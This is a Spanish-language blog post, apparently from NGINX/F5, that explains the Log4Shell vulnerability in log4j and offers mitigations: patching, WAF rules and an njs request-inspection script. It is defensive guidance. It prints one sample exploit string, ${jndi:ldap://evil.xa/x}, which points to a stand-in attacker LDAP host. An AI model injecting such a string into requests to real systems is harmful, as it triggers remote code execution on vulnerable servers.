El viernes 10 de diciembre de 2021 es una fecha que muchos profesionales de TI de todo el mundo recordarán. Ese día se descubrió una vulnerabilidad de tipo día cero de gravedad crítica en la popular biblioteca de registro para aplicaciones Java, log4j. El exploit no tardó en recibir el nombre de «Log4Shell», y empresas de todos los tamaños se apresuraron a implementar estrategias de mitigación. A continuación, comenzó un maratón de aplicación de parches que, en el momento de redactar este texto, aún continúa.
NGINX y F5 han analizado la amenaza y, en esta publicación, ofrecemos varias opciones de mitigación para mantener protegidas sus aplicaciones.
¿Qué es Log4Shell?
La versión 2.15 y las anteriores de la biblioteca log4j son vulnerables a la vulnerabilidad de ejecución remota de código (RCE) descrita en CVE-2021-44228. (La versión 2.16 de log4j corrige la vulnerabilidad). Log4Shell es el nombre que recibe el exploit que aprovecha esta vulnerabilidad. Pero ¿en qué consiste la vulnerabilidad y por qué es tan crítica? Como se describe en el CVE, la biblioteca Java Apache log4j no valida correctamente los datos de entrada.
La función Java Naming and Directory Interface (JNDI) de la biblioteca log4j y el entorno de ejecución de Java puede utilizarse para realizar consultas remotas y recuperar datos de fuentes externas —como un nombre de usuario de LDAP o una dirección IP de DNS— para incluirlos en una entrada de registro. Lamentablemente, los atacantes remotos pueden secuestrar JNDI para ejecutar código Java escrito por ellos. El siguiente diagrama ilustra el ataque.
Para explotar un objetivo vulnerable, los atacantes deben engañar al código de la aplicación para que escriba una entrada de registro que incluya una cadena como ${jndi:ldap://evil.xa/x}. La pregunta clave es: ¿dónde hay que colocar la cadena para que acabe en un mensaje de registro? Para muchas aplicaciones, el registro es esencial y se registra una gran cantidad de información sobre cada solicitud entrante, incluidas cabeceras HTTP como User-Agent y X-Forwarded-For, el URI y el cuerpo de la solicitud. Existen muchos vectores de ataque y, siempre que la cadena se registre con log4j, la aplicación puede ser explotada.
¿Afecta esta vulnerabilidad a NGINX?
No. NGINX no es vulnerable a este exploit, ya que está escrito en C y no utiliza Java ni ninguna biblioteca basada en Java. Para consultar la respuesta oficial sobre CVE-2021-44228 para todos los productos de F5 y NGINX, consulte el artículo «K19026212» de la base de conocimientos de AskF5.
¿Cómo ayuda NGINX a mitigar este exploit?
Como se ha mencionado anteriormente, un atacante debe enviar la cadena del exploit a la aplicación objetivo en algún punto de la solicitud HTTP. NGINX proporciona varias herramientas para analizar las solicitudes entrantes en busca de indicadores de compromiso (IOC) y bloquearlas.
La forma más eficaz de bloquear solicitudes maliciosas es utilizar un firewall de aplicaciones web (WAF). Este analiza cada solicitud entrante en busca de indicios de CVE-2021-44228 comparando los datos de la solicitud con un conjunto de reglas precompiladas. Sin embargo, actualizar las reglas del WAF tras un exploit de día cero es como una carrera armamentística. En cuanto hay reglas de WAF disponibles para un exploit determinado, los atacantes buscan técnicas y patrones que les permitan eludir el WAF. Asegúrese de mantener actualizadas las reglas de su WAF.
WAF ModSecurity de NGINX
ModSecurity es un WAF de código abierto que también está disponible como oferta comercial de NGINX: el módulo NGINX ModSecurity WAF para NGINX Plus. El conjunto de reglas básicas de OWASP ModSecurity (CRS) incluye una regla existente (932130) que puede mitigar Log4Shell. Para obtener más información sobre esta solución y una protección más avanzada, consulte el blog de CRS.
[Editor – NGINX ModSecurity WAF dejó de comercializarse oficialmente el 1 de abril de 2022 y llegará al final de su vida útil el 31 de marzo de 2024. Para obtener más información, consulte F5 NGINX ModSecurity WAF Is Transitioning to End-of-Life<.htmla> en nuestro blog.]
NGINX App Protect WAF
NGINX App Protect WAF es una solución moderna de seguridad para aplicaciones. Tras continuar investigando la amenaza y las técnicas conocidas para eludir los WAF, hemos actualizado el conjunto de firmas de inyección de código del lado del servidor con nuevas reglas para detectar eficazmente los ataques Log4Shell. Para obtener más información, consulte la base de conocimientos de AskF5.
Módulo JavaScript de NGINX
NGINX y NGINX Plus se utilizan ampliamente como proxy inverso delante de numerosas aplicaciones basadas en Java. Para los usuarios y clientes que no tienen acceso a un WAF, hemos creado un script que utiliza el módulo JavaScript de NGINX (njs). El script analiza las cabeceras HTTP, los URI y los cuerpos de las solicitudes entrantes, utilizando cadenas de IOC conocidas y expresiones regulares para identificar los datos de entrada y bloquear las solicitudes maliciosas.
El script njs está disponible en GitHub. Para obtener instrucciones sobre cómo instalar el módulo njs, consulte la Guía de administración de NGINX Plus.
Resumen
La solución más eficaz para Log4Shell es parchear el código de la aplicación con log4j versión 2.16 o posterior, que deshabilita JDNI. Si no es posible hacerlo de inmediato, un WAF puede mitigar eficazmente la amenaza hasta que pueda aplicar el parche. Si aún no dispone de un WAF, puede utilizar nuestro script njs para implementar una protección específica contra la amenaza. Consulte los recursos que aparecen a continuación para obtener más información y seleccionar la protección más adecuada para sus aplicaciones.
Recursos
- CVE-2021-44228 – El CVE oficial
- Exploit de día cero dirigido contra la popular biblioteca de Java Log4j – Un valioso resumen de la vulnerabilidad
- K19026212: Vulnerabilidad de ejecución remota de código CVE-2021-44228 en Apache Log4j2 – Respuesta oficial de F5
- CRS y Log4j / Log4Shell / CVE-2021-44228 – Blog de ModSecurity Core Rule Set
- Inspección de solicitudes con NGINX njs para CVE-2021-44228 – Solución de mitigación de NGINX JavaScript
Sobre el autor
Artículos relacionados del blog
Únete a F5 NGINX en AppWorld 2024
Descubre las numerosas razones para asistir al evento insignia de F5, que incluirá un emocionante anuncio sobre la cartera de productos NGINX.
Rotación de certificados SSL/TLS sin reinicios en NGINX Open Source
La función de diccionario compartido permite configurar NGINX sin necesidad de reiniciarlo al renovar los certificados SSL/TLS.
Exposición de APIs en Kubernetes
La unidad 2 de Microservices March 2022 se centra en cómo exponer tus API en Kubernetes. Aquí tienes enlaces a los recursos que necesitas: la retransmisión en directo del 14 de marzo, artículos de blog y otros recursos de preparación, y el laboratorio práctico «Protege las API de Kubernetes mediante la limitación de solicitudes».
NGINX Sprint 2.0: visión clara, código renovado y nuevos compromisos con el código abierto
Hoy, en NGINX Sprint 2.0, anunciamos cómo respaldaremos nuestra visión del futuro de las aplicaciones modernas con una mayor presencia en la comunidad de código abierto, incluida la participación en el proyecto comunitario Kubernetes, nuevos proyectos de software de código abierto y la arquitectura de referencia para aplicaciones modernas.
Presentamos NGINX Plus R22
NGINX Plus R22 incorpora nuevas funcionalidades, como la compatibilidad con OCSP para verificar la revocación de certificados en TLS mutuo, el uso de varios proveedores de identidad OIDC en una configuración, el seguimiento en tiempo real de la limitación de solicitudes y conexiones en el panel de NGINX Plus y mejoras en NGINX JavaScript.
Presentamos NGINX Plus R17
NGINX Plus R17 incorpora compatibilidad con la limitación de velocidad en dos fases y con TLS 1.3, la versión más reciente del protocolo Transport Layer Security. La configuración de OpenID Connect es más sencilla y NGINX ModSecurity WAF es el doble de rápido que antes. También se ha actualizado el módulo JavaScript de NGINX.